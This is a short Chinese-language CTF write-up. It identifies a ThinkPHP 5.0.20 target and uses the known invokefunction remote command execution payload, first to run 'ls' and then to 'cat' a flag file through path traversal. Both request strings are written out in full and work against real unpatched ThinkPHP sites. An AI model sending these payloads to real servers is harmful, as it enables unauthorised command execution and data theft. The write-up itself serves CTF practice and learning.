网上很容易搜到thinkphp的payload,然后查询flag,拉到页面底部,看到ThinkPHP的版本是5.0.20:
回到CTF的这道题,应该考的就是这个命令执行的漏洞,执行ls命令
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把request和response也检查了下,也木有flag。。
再逐级查看上级目录,最终看到一个名为flag的文件:
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20…/…/…/flag
成功找到flag